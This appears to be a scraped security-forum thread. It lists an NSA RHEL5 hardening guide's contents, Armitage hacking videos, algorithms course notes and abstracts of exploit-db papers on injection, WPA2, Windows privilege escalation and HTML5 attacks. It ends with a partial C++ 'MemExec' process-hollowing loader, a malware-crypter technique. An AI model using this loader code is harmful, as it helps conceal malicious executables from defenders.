3.5.2.6 Disable root Login via SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.7 Disable Empty Passwords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 3.5.2.8 Enable a Warning Banner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 3.5.2.9 Do Not Allow Users to Set Environment Options . . . . . . . . . . . . . . . . . . 112 3.5.2.10 Use Only Approved Ciphers in Counter Mode . . . . . . . . . . . . . . . . . . . 112 3.5.2.11 Strengthen Firewall Configuration if Possible . . . . . . . . . . . . . . . . . . . . 113 3.6 X Window System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 3.6.1 Disable X Windows if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 3.6.1.1 Disable X Windows at System Boot . . . . . . . . . . . . . . . . . . . . . . . . . 113 3.6.1.2 Remove X Windows from the System if Possible . . . . . . . . . . . . . . . . . . 113 3.6.1.3 Lock Down X Windows startx Configuration if Necessary . . . . . . . . . . . . 114 3.6.2 Configure X Windows if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114 3.6.2.1 Create Warning Banners for GUI Login Users . . . . . . . . . . . . . . . . . . . 115 3.7 Avahi Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 3.7.1 Disable Avahi Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 3.7.1.1 Disable Avahi Server Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 3.7.1.2 Remove Avahi Server iptables Firewall Exception . . . . . . . . . . . . . . . . 115 3.7.2 Configure Avahi if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 3.7.2.1 Serve Only via Required Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . 116 3.7.2.2 Check Responses’ TTL Field . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 3.7.2.3 Prevent Other Programs from Using Avahi’s Port . . . . . . . . . . . . . . . . . 116 3.7.2.4 Disable Publishing if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 3.7.2.5 Restrict Published Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 8 TABLE OF CONTENTS 3.8 Print Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 3.8.1 Disable the CUPS Service if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 3.8.2 Disable Firewall Access to Printing Service if Possible . . . . . . . . . . . . . . . . . . . . 118 3.8.3 Configure the CUPS Service if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 3.8.3.1 Limit Printer Browsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 3.8.3.2 Disable Print Server Capabilities if Possible . . . . . . . . . . . . . . . . . . . . . 119 3.8.3.3 Limit Access to the Web Administration Interface . . . . . . . . . . . . . . . . . 120 3.8.3.4 Take Further Security Measures When Appropriate . . . . . . . . . . . . . . . . 120 3.8.4 The HP Linux Imaging and Printing (HPLIP) Toolkit . . . . . . . . . . . . . . . . . . . . 120 3.8.4.1 Disable HPLIP Service if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . 121 3.9 DHCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 3.9.1 Disable DHCP Client if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 3.9.2 Configure DHCP Client if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122 3.9.2.1 Minimize the DHCP-Configured Options . . . . . . . . . . . . . . . . . . . . . . 122 3.9.3 Disable DHCP Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 3.9.4 Configure the DHCP Server if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 3.9.4.1 Do Not Use Dynamic DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 3.9.4.2 Deny Decline Messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 3.9.4.3 Deny BOOTP Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 3.9.4.4 Minimize Served Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 3.9.4.5 Configure Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.9.4.6 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.10 Network Time Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.10.1 Select NTP Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.10.2 Configure Reference NTP if Appropriate . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 3.10.2.1 Configure an NTP Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 3.10.2.2 Configure an NTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.10.3 Configure OpenNTPD if Appropriate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.10.3.1 Obtain NTP Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.10.3.2 Configure an SNTP Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 3.10.3.3 Configure an SNTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 3.11 Mail Transfer Agent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130 3.11.1 Select Mail Server Software and Configuration . . . . . . . . . . . . . . . . . . . . . . . . 130 3.11.1.1 Select Postfix as Mail Server Software . . . . . . . . . . . . . . . . . . . . . . . . 131 3.11.1.2 Select Sendmail as Mail Server Software . . . . . . . . . . . . . . . . . . . . . . . 131 3.11.2 Configure SMTP For Mail Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 3.11.2.1 Configure Postfix for Submission-Only Mode . . . . . . . . . . . . . . . . . . . . 132 3.11.2.2 Configure Sendmail for Submission-Only Mode . . . . . . . . . . . . . . . . . . . 132 3.11.3 Strategies for MTA Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 3.11.3.1 Use Resource Limits to Mitigate Denial of Service . . . . . . . . . . . . . . . . . 133 3.11.3.2 Configure SMTP Greeting Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 133 3.11.3.3 Control Mail Relaying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 3.11.4 Configure Operating System to Protect Mail Server . . . . . . . . . . . . . . . . . . . . . 134 3.11.4.1 Use Separate Hosts for External and Internal Mail if Possible . . . . . . . . . . . 134 3.11.4.2 Protect the MTA Host from User Access . . . . . . . . . . . . . . . . . . . . . . 134 3.11.4.3 Restrict Remote Access to the Mail Spool . . . . . . . . . . . . . . . . . . . . . . 134 3.11.4.4 Configure iptables to Allow Access to the Mail Server . . . . . . . . . . . . . . 135 3.11.4.5 Verify System Logging and Log Permissions for Mail . . . . . . . . . . . . . . . . 135 3.11.4.6 Configure SSL Certificates for Use with SMTP AUTH . . . . . . . . . . . . . . . 135 3.11.5 Configure Sendmail Server if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 3.11.5.1 Limit Denial of Service Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 3.11.5.2 Configure SMTP Greeting Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 137 TABLE OF CONTENTS 9 3.11.5.3 Control Mail Relaying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 3.11.6 Configure Postfix if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 3.11.6.1 Limit Denial of Service Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 3.11.6.2 Configure SMTP Greeting Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 140 3.11.6.3 Control Mail Relaying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 3.11.6.4 Require TLS for SMTP AUTH . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 3.12 LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 3.12.1 Use OpenLDAP to Provide LDAP Service if Possible . . . . . . . . . . . . . . . . . . . . . 143 3.12.2 Configure OpenLDAP Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143 3.12.2.1 Configure the Appropriate LDAP Parameters for the Domain . . . . . . . . . . . 143 3.12.2.2 Configure LDAP to Use TLS for All Transactions . . . . . . . . . . . . . . . . . 143 3.12.2.3 Configure Authentication Services to Use OpenLDAP . . . . . . . . . . . . . . . 144 3.12.3 Configure OpenLDAP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.1 Install OpenLDAP Server RPM . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.2 Configure Domain-Specific Parameters . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.3 Configure an LDAP Root Password . . . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.4 Configure the LDAP Server to Require TLS for All Transactions . . . . . . . . . 146 3.12.3.5 Install Account Information into the LDAP Database . . . . . . . . . . . . . . . 148 3.12.3.6 Configure slapd to Protect Authentication Information . . . . . . . . . . . . . . 150 3.12.3.7 Correct Permissions on LDAP Server Files . . . . . . . . . . . . . . . . . . . . . 151 3.12.3.8 Configure iptables to Allow Access to the LDAP Server . . . . . . . . . . . . . 151 3.12.3.9 Configure Logging for LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 3.13 NFS and RPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152 3.13.1 Disable All NFS Services if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152 3.13.1.1 Disable Services Used Only by NFS . . . . . . . . . . . . . . . . . . . . . . . . . 152 3.13.1.2 Disable netfs if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153 3.13.1.3 Disable RPC Portmapper if Possible . . . . . . . . . . . . . . . . . . . . . . . . . 153 3.13.2 Configure All Machines which Use NFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 3.13.2.1 Make Each Machine a Client or a Server, not Both . . . . . . . . . . . . . . . . . 154 3.13.2.2 Restrict Access to the Portmapper . . . . . . . . . . . . . . . . . . . . . . . . . . 154 3.13.2.3 Configure NFS Services to Use Fixed Ports . . . . . . . . . . . . . . . . . . . . . 154 3.13.3 Configure NFS Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 3.13.3.1 Disable NFS Server Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 3.13.3.2 Mount Remote Filesystems with Restrictive Options . . . . . . . . . . . . . . . . 155 3.13.4 Configure NFS Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 3.13.4.1 Configure the Exports File Restrictively . . . . . . . . . . . . . . . . . . . . . . . 156 3.13.4.2 Allow Legitimate NFS Clients to Access the Server . . . . . . . . . . . . . . . . 157 3.14 DNS Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 3.14.1 Disable DNS Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 3.14.2 Run the BIND9 Software if DNS Service is Needed . . . . . . . . . . . . . . . . . . . . . . 158 3.14.3 Isolate DNS from Other Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 3.14.3.1 Run DNS Software on Dedicated Servers if Possible . . . . . . . . . . . . . . . . 158 3.14.3.2 Run DNS Software in a chroot Jail . . . . . . . . . . . . . . . . . . . . . . . . . 158 3.14.3.3 Configure Firewalls to Protect the DNS Server . . . . . . . . . . . . . . . . . . . 159 3.14.4 Protect DNS Data from Tampering or Attack . . . . . . . . . . . . . . . . . . . . . . . . . 159 3.14.4.1 Run Separate DNS Servers for External and Internal Queries if Possible . . . . . 159 3.14.4.2 Use Views to Partition External and Internal Information if Necessary . . . . . . 160 3.14.4.3 Disable Zone Transfers from the Nameserver if Possible . . . . . . . . . . . . . . 161 3.14.4.4 Authenticate Zone Transfers if Necessary . . . . . . . . . . . . . . . . . . . . . . 162 3.14.4.5 Disable Dynamic Updates if Possible . . . . . . . . . . . . . . . . . . . . . . . . 163 3.15 FTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163 3.15.1 Disable vsftpd if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163 10 TABLE OF CONTENTS 3.15.2 Use vsftpd to Provide FTP Service if Necessary . . . . . . . . . . . . . . . . . . . . . . . 163 3.15.3 Configure vsftpd Securely . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164 3.15.3.1 Enable Logging of All FTP Transactions . . . . . . . . . . . . . . . . . . . . . . 164 3.15.3.2 Create Warning Banners for All FTP Users . . . . . . . . . . . . . . . . . . . . . 164 3.15.3.3 Restrict the Set of Users Allowed to Access FTP . . . . . . . . . . . . . . . . . . 164 3.15.3.4 Disable FTP Uploads if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . 165 3.15.3.5 Place the FTP Home Directory on its Own Partition . . . . . . . . . . . . . . . 166 3.15.3.6 Configure Firewalls to Protect the FTP Server . . . . . . . . . . . . . . . . . . . 166 3.16 Web Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166 3.16.1 Disable Apache if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166 3.16.2 Install Apache if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.2.1 Install Apache Software Safely . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.2.2 Confirm Minimal Built-in Modules . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.3 Secure the Apache Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.3.1 Restrict Information Leakage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.3.2 Minimize Loadable Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 3.16.3.3 Minimize Configuration Files Included . . . . . . . . . . . . . . . . . . . . . . . . 173 3.16.3.4 Directory Restrictions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173 3.16.3.5 Configure Authentication if Applicable . . . . . . . . . . . . . . . . . . . . . . . 174 3.16.3.6 Limit Available Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 3.16.4 Use Appropriate Modules to Improve Apache’s Security . . . . . . . . . . . . . . . . . . . 176 3.16.4.1 Deploy mod ssl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 3.16.4.2 Deploy mod security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178 3.16.4.3 Use Denial-of-Service Protection Modules . . . . . . . . . . . . . . . . . . . . . . 179 3.16.4.4 Configure Supplemental Modules Appropriately . . . . . . . . . . . . . . . . . . 179 3.16.5 Configure Operating System to Protect Web Server . . . . . . . . . . . . . . . . . . . . . 180 3.16.5.1 Restrict File and Directory Access . . . . . . . . . . . . . . . . . . . . . . . . . . 180 3.16.5.2 Configure iptables to Allow Access to the Web Server . . . . . . . . . . . . . . 181 3.16.5.3 Run Apache in a chroot Jail if Possible . . . . . . . . . . . . . . . . . . . . . . . 181 3.16.6 Additional Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 3.17 IMAP and POP3 Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 3.17.1 Disable Dovecot if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 3.17.2 Configure Dovecot if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182 3.17.2.1 Support Only the Necessary Protocols . . . . . . . . . . . . . . . . . . . . . . . . 182 3.17.2.2 Enable SSL Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182 3.17.2.3 Enable Dovecot Options to Protect Against Code Flaws . . . . . . . . . . . . . . 184 3.17.2.4 Allow IMAP Clients to Access the Server . . . . . . . . . . . . . . . . . . . . . . 184 3.18 Samba (SMB) Microsoft Windows File Sharing Server . . . . . . . . . . . . . . . . . . . . . . . . 184 3.18.1 Disable Samba if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185 3.18.2 Configure Samba if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185 3.18.2.1 Testing the Samba Configuration File . . . . . . . . . . . . . . . . . . . . . . . . 185 3.18.2.2 Choosing the Appropriate security Parameter . . . . . . . . . . . . . . . . . . 185 3.18.2.3 Disable Guest Access and Local Login Support . . . . . . . . . . . . . . . . . . . 187 3.18.2.4 Disable Root Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187 3.18.2.5 Set the Allowed Authentication Negotiation Levels . . . . . . . . . . . . . . . . . 187 3.18.2.6 Let Domain Controllers Create Machine Trust Accounts On-the-Fly . . . . . . . 188 3.18.2.7 Restrict Access to the [IPC$] Share . . . . . . . . . . . . . . . . . . . . . . . . . 188 3.18.2.8 Restrict File Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 188 3.18.2.9 Require Server SMB Packet Signing . . . . . . . . . . . . . . . . . . . . . . . . . 189 3.18.2.10 Require Client SMB Packet Signing, if using smbclient . . . . . . . . . . . . . . 189 3.18.2.11 Require Client SMB Packet Signing, if using mount.cifs . . . . . . . . . . . . . 189 3.18.2.12 Restrict Printer Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189 TABLE OF CONTENTS 11 3.18.2.13 Configure iptables to Allow Access to the Samba Server . . . . . . . . . . . . . 190 3.18.3 Avoid the Samba Web Administration Tool (SWAT) . . . . . . . . . . . . . . . . . . . . . 190 3.19 Proxy Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.1 Disable Squid if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2 Configure Squid if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2.1 Listen on Uncommon Port . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2.2 Verify Default Secure Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2.3 Change Default Insecure Settings . . . . . . . . . . . . . . . . . . . . . . . . . . 192 3.19.2.4 Configure Authentication if Applicable . . . . . . . . . . . . . . . . . . . . . . . 193 3.19.2.5 Access Control Lists (ACL) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193 3.19.2.6 Configure Internet Cache Protocol (ICP) if Necessary . . . . . . . . . . . . . . . 195 3.19.2.7 Configure iptables to Allow Access to the Proxy Server . . . . . . . . . . . . . 195 3.19.2.8 Forward Log Messages to Syslog Daemon . . . . . . . . . . . . . . . . . . . . . . 195 3.19.2.9 Do Not Run as Root . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196 Download: http://www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf

Armitage Videos 16 videos Total length: 2 hours, 25 minutes Description: A list of third-party videos demoing the Armitage GUI for Metasploit. Metaexploid +nmap+armitage (Peru -Ethical Hacking) Hacking with Armitage Hacking with armitage Hack Windows 7 with Armitage Metasploit How to hack a remote system using Metasploit and Armitage - Update No Skill Hacking with Armitage on Back|Track 4 R2 GnackTrack - Hail Mary Attack :Armitage Metasploit and Armitage on Android (Captivate) - HOW TO - armitage Owning A Windows 7 Laptop with Armitage - IE Zero Day Exploit XP SP3 + BT4 R2 + Armitage / Metasploit = PWNED ;~) Armitage into 101 armitage metasploit tomcat_mgr_deploy I love Armitage Armitage ????? ?????? ?????? Metasploit.flv Armitage-moznosti.ogv Youtube: http://www.youtube.com/view_play_list?p=2F17895D75871184

Algorithms Course Materials by Jeff Erickson January 2011 revision This page contains all my lecture notes for the algorithms classes required for all computer science undergraduate and graduate students at the University of Illinois, Urbana-Champaign. I have taught incarnations of this course eight times: Spring 1999, Fall 2000, Spring 2001, Fall 2002, Spring 2004, Fall 2005, Fall 2006, Spring 2007, Fall 2008, Spring 2009, Spring 2010, and Fall 2010. These notes are numbered roughly in the order I use them in my undergraduate class. More advanced material is indicated by the symbol ?. More information about these notes is available after the notes themselves. A large collection of old homeworks and exams follows the lecture notes. Most of these homework and exam problems also appear at the ends of the appropriate lecture notes. Except for various Homework Zeros, which are solely my fault, most of the homework problems were written by my teaching assistants: Aditya Ramani, Alina Ene, Amir Nayyeri, Asha Seetharam, Ben Moseley, Brian Ensink, Chris Neihengen, Dan Bullok, Dan Cranston, David Morrison, Johnathon Fischer, Ekta Manaktala, Erin Wolf Chambers, Igor Gammer, Gio Kao, Kevin Milans, Kevin Small, Kyle Fox, Lan Chen, Michael Bond, Mitch Harris, Nick Hurlburt, Nitish Korula, Rachit Agarwal, Reza Zamani-Nasab, Rishi Talreja, Rob McCann, Shripad Thite, and Yasu Furakawa. Please do not ask me for solutions. If you're a student, you will (usually) learn more from trying to solve a problem and failing than by reading the answer. If you really need help, ask your instructor, your TAs, and/or your fellow students. If you're an instructor, you really shouldn't assign problems that you can't solve yourself! (Because I don't always follow my own advice, some of the problems are buggy, especially in older homeworks and exams. I've tried to keep the buggy problems out of the lecture notes themselves.) The previous edition of this material, which includes notes on material I have not taught for several years, including string algorithms and computational geometry. More recent version of these notes, along with current homework and exams, may be available at the official sites for the undergraduate and/or graduate algorithms classes at UIUC. Feedback of any kind is always welcome, especially bug reports. I would particularly appreciate hearing from anyone outside UIUC who finds these notes useful (or useless)! Copyright. Except as indicated otherwise, all material linked from this web page is Copyright © 1999–2011 Jeff Erickson. Anyone may freely download, print, copy, and/or distribute anything on this page, either electronically or on paper. However, nothing on this page may be sold in any form for more than the actual cost of printing and/or reproduction. For example, you are welcome to make local copies on your own web server, but you are not allowed to require an access fee (such as tuition) to view your local copy; that's the same as selling it. If you distribute these notes, please give me proper credit and please include a pointer to this web page (Jeff Erickson's Algorithms Course Materials). If you're a lawyer, read the legalese. Download: http://compgeom.cs.uiuc.edu/~jeffe/teaching/algorithms/everything.pdf Mai multe: Jeff Erickson's Algorithms Course Materials

Connection String Parameter Pollution Attacks Chema Alonso1, Manuel Fernandez1, Alejandro Martín1 and Antonio Guzmán2 Informatica64, S.L. Universidad Rey Juan Carlos {chema,mfernandez,amartin}@informatica64.com, antonio.guzman@urjc.es Abstract In 2007 the ranking of the top ten critical vulnerabilities for the security of a system established code injection as the top 2, closely following top 1 XSS attacks. The first release candidate of the 2010 version of the ranking has promoted code injection attacks to top 1. Actually, the most critical attacks are those that combine XSS techniques to access systems and code injection techniques to access the information. The potential damage associated with this kind of threats, the total absence of background and the fact that the solution to mitigate these vulnerabilities must be worked together with programmers, systems administrators and database vendors justifies an in-depth analysis to estimate all the possible ways of implementing this technique. Keywords: Code injection attacks, connection strings, web application authentication delegation 1 Introduction SQL injections are probably the most known injection attacks to web applications by abusing its database architecture. Many different approaches and techniques have been studied and analyzed so far, and the published results conclude that to prevent these attacks from being successful, development teams need to establish the correct filtering levels on the inputs to the system. In the case of the attack presented in this paper, responsibility lays not only on developers, but also on system administrators and database vendors. This attack affects web applications, but instead of abusing implementation flaws in the way database queries are crafted, which is the most commonly found scenario on other injection attacks, it abuses the way applications connect to the database. According to OWASP [1], in 2007 the ranking of the top ten critical vulnerabilities for the security of a system established code injection attacks as the top 2, closely following top 1 XSS attacks. The first release candidate of the 2010 version of the ranking has promoted code injection attacks to top 1. Actually, the most critical attacks are those that combine XSS techniques to access systems and code injection techniques to access the information. This is the case for the so-called connectionstring parameter pollution attacks. Potential impact of this type of vulnerability and the total absence of background justify an in-depth analysis to estimate all possible attack vectors using this technique. This paper is structured is in three main sections. The first is this short introduction where the foundations of the connection strings and existing mechanisms for the implementation of web applications authentication will be introduce. Section two proposes a comprehensive study of this new attack technique, with an extensive collection of test cases. The article concludes briefly summarizing the lessons learned. Download: http://www.exploit-db.com/download_pdf/17254

WPA Too! Md Sohail Ahmad, AirTight Networks md.ahmad@airtightnetworks.com Abstract WPA2 is considered as the most secure configuration for WiFi networks. It is widely used to secure enterprise and private WiFi networks. Interestingly, it is also being used to secure guest, municipal and public WiFi networks. In this paper, we present a vulnerability of WPA2 protocol which can be exploited by a malicious user to attack and compromise legitimate users. We also present a few attack mitigation techniques which can be used to protect genuine WiFi users. I. Introduction The 802.11i [1] specifies security protocols for WiFi networks. RSN is one of the security configurations available in 802.11i and popularly known as WPA2. WPA2 supports two types of authentication- Pres-Shared Key (PSK) and IEEE 802.1x. For data encryption, WPA2 uses AES though it also supports TKIP. TKIP stands for temporal key integrity protocol and used by old devices which are compliant to WEP encryption. AES stands for advanced encryption system. Most of the current generation WiFi devices support AES. A couple of attacks on WPA/WPA2 authentication and encryption that have been published in the past are mentioned below: - PSK vulnerability [2]: PSK is vulnerable to eavesdropping and dictionary attack. To solve PSK vulnerability, it is recommended to use the IEEE 802.1x based authentication. - PEAP vulnerability [3]: A WiFi client’s configuration related vulnerability was identified in 2008. It can be avoided by simply following good practices and by not ignoring certificate validation check in client wireless configuration. - TKIP vulnerability [4]: TKIP vulnerability allows attacker to guess IP address of the subnet and then inject few small size frames to cause disruption in the network. Fast re-keying or AES can be used to fix the vulnerability. In the next section, we describe attacks based on a vulnerability of WPA2 protocol and discuss its implications. Finally, we discuss a few solutions to mitigate the attacks. Download: http://www.exploit-db.com/download_pdf/17255

Token Kidnapping's Revenge Author: Cesar Cerrudo (cesar.at.argeniss.dot.com) Abstract This document describes some Microsoft Windows elevation of privilege vulnerabilities, how they were found with the use of simple tools and how they can be exploited. Starting with a little security issue that then leads to more significant vulnerabilities finding. All the vulnerabilities detailed here are not publicly know at the time of this document release. Table of contents Table of contents.................................................................................................................................2 Abstract................................................................................................................................................3 Introduction.........................................................................................................................................4 Some theory.........................................................................................................................................5 The Tools.............................................................................................................................................6 Finding the vulnerabilities...................................................................................................................6 Bypassing Microsoft fix for Token Kidnapping on Windows 2003 and XP.....................................10 Preventing exploitation......................................................................................................................13 Conclusion.........................................................................................................................................14 Special Thanks...................................................................................................................................15 About the author................................................................................................................................16 References.........................................................................................................................................17 About Argeniss..................................................................................................................................18 Download: http://www.exploit-db.com/download_pdf/17256

Attacking with HTML5 By, Lavakumar Kuppan Attack and Defense Labs - Offensive & Defensive Security Research October 18, 2010 Introduction: HTML5 is redefining the ground rules for future Web Applications by providing a rich set of new features and by extending existing features and APIs. HTML5 Security is still an unexplored region because HTML5 features are not yet adopted by web applications (apart from experimental support) and it is assumed that until that happens the end users have nothing to worry about. This paper would prove this assumption wrong by discussing a range of attacks that can be carried out on web users ‘right now’ even on websites that do not support or intend to support HTML5 in the near future. Browser vendors have been trying to outdo each other in supporting the latest features defined in the HTML5 spec. This has exposed the users of these browsers to the attacks that would be discussed in this paper. The initial sections of this paper cover attacks and research that have been published by me and other researchers earlier this year. The latter sections covers attacks that are completely new and exclusive. The list of attacks covered: 1)Cross?site Scripting via HTML5 2)Reverse Web Shells with COR 3)Clickjacking via HTML5 a.Text?field Injection b.IFRAME Sandboxing 4)HTML5 Cache Poisoning 5)Client?side RFI 6)Cross?site Posting 7)Network Reconnaissance a.Port Scanning b.Network Scanning c.Guessing user’s Private IP 8)HTML5 Botnets a.Botnet creation i.Reaching out to victims ii.Extending execution life?time b.Botnets based attacks i.DDoS attacks ii.Email spam iii.Distributed Password Cracking Download: http://www.exploit-db.com/download_pdf/17258

Ciudat om. Paranoic rau. Daca incepi ca data trecuta primesti ban si pe contu asta si pe toate pe care o sa ti le faci.

[C++] Another MemExec Code Author: steve10120 // steve10120@ic0de.org #include <Windows.h> typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); LPVOID FileToMem(LPCSTR szFileName) { HANDLE hFile; DWORD dwRead; DWORD dwSize; LPVOID pBuffer = NULL; hFile = CreateFileA(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile) { dwSize = GetFileSize(hFile, NULL); if (dwSize > 0) { pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pBuffer) { SetFilePointer(hFile, NULL, NULL, FILE_BEGIN); ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL); } } CloseHandle(hFile); } return pBuffer; } void ExecFile(LPSTR szFilePath, LPVOID pFile) { PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INH; PIMAGE_SECTION_HEADER ISH; PROCESS_INFORMATION PI; STARTUPINFOA SI; PCONTEXT CTX; PDWORD dwImageBase; NtUnmapViewOfSection xNtUnmapViewOfSection; LPVOID pImageBase; int Count; IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { RtlZeroMemory(&SI, sizeof(SI)); RtlZeroMemory(&PI, sizeof(PI)); if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); 